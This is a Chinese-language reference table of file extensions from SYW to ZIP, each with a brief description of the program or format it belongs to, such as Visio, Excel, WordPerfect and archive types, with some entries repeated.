SYW Yamaha SY系列波形文件 扩展名 说明

TAZ UNIX gzip/tape档案

TGA Targa位图

THEME Windows桌面主题文件

THN Graphics WorkShop for Windows速写

TIF/TIFF 标签图像文件格式(TIFF)位图

TIG 虎形文件,美国政府用于分发地图

TLB OLE类型库

TMP Windows临时文件

TOL Kodak照片增强器

TPL CakeWalk声音模板文件;DataCAD模板文件

TRM 终端文件

TRN MKS源完整性工程用法日志文件

TTF TrueType字体文件

TXT ASCⅡ文本格式的声音数据

TXW Yamaha TX16W波形文件 扩展名 说明

UDF Windows NT/2000唯一性数据库文件

ULT Ultra Tracker音乐模块(MOD)文件

URL Internet快捷方式文件

USE MKS源完整性文件

UWF Ultra racker波形文件 扩展名 说明

VBP Microsoft Visual Basic工程文件

VBW Microsoft Visual Basic工作区文件

VBX Microsoft Visual Basic用户定制控件

VCT/VCX Microsoft FoxPro类库

VDA Targa位图

VIR Norton Anti-Virus或其他杀毒产品用于标识被病毒感染的文件

VIV VivoActive Player流视频文件

VSD Visio绘画文件(流程图或图解)

VSL 下载列表文件(GetRight)

VSS Visio模板文件

VST Targa位图

VSW Visio工作区文件

VXD Microsoft Windows虚拟设备驱动程序

VBP Microsoft Visual Basic工程文件

VBW Microsoft Visual Basic工作区文件

VBX Microsoft Visual Basic用户定制控件

VDA Targa位图

VIR Norton Anti-Virus或其他杀毒产品用于标识被病毒感染的文件

VQF Yamaha Sound-VQ文件(可能出现标准)

VSD Visio绘画文件(流程图或图解)

VSL 下载列表文件(GetRight)

VSS Visio模板文件

VST Targa位图

VSW Visio工作区文件

VXD Microsoft Windows虚拟设备驱动程序 扩展名 说明

W3L W3Launch文件

WAB M icrosoft Outlook文件

WAD 包含有视频、玩家水平和其他信息的DOOM游戏的大文件

WAV Windows波形声形

WBK Microsoft Word备份文件

WCM WordPerfect宏

WDB Microsoft Works数据库

WFM Visual dBASE Windows表单

WFN 在CorelDRAW中使用的符号

WIL WinImage文件

WIZ Microsoft Word向导

WLL Microsoft Word内插器

WMF Windows元文件

WOW Grave Composer音乐模块(MOD)文件

WP WordPerfect文档

WPD WordPerfect文档或演示

WPF 可字处理文档

WPG WordPerfect图形

WPS Microsoft Works文档

WPT WordPerfect模板

WR1 书写器文档

WRK Cakewalk音乐声音工程文件

WRL 虚拟现实模型

WRZ VRML文件对象 扩展名 说明

X AVS图像格式

XAR CorelXARA绘画

XBM MIME“xbitmap”图像

XI Scream Tracker设备抽样文件

XLA Microsoft Excel内插器

XLB Microsoft Excel工具条

XLC Microsoft Excel图表

XLD Microsoft Excel对话框

XLK Microsoft Excel备份

XLL Microsoft Excel内插器文件

XLM Microsoft Excel宏

XLS Microsoft Excel工作单

XLT Microsoft Excel模板

XLV Microsoft Excel VBA模块

XLW Microsoft Excel工作簿/工作区

XNK Microsoft Exchange快捷方式文件

XPM X位图格式

XWD X Windows转储格式

XWF Yamaha XG Works文件(MIDI序列)

X16 宏媒体扩展(程序扩展),16位

X32 宏媒体扩展(程序扩展),32位 扩展名 说明

YAL Arts Letters剪贴艺术库 扩展名 说明

Z UNIX gzip文件

ZAP Windows软件安装配置文件

ZIP Zip文件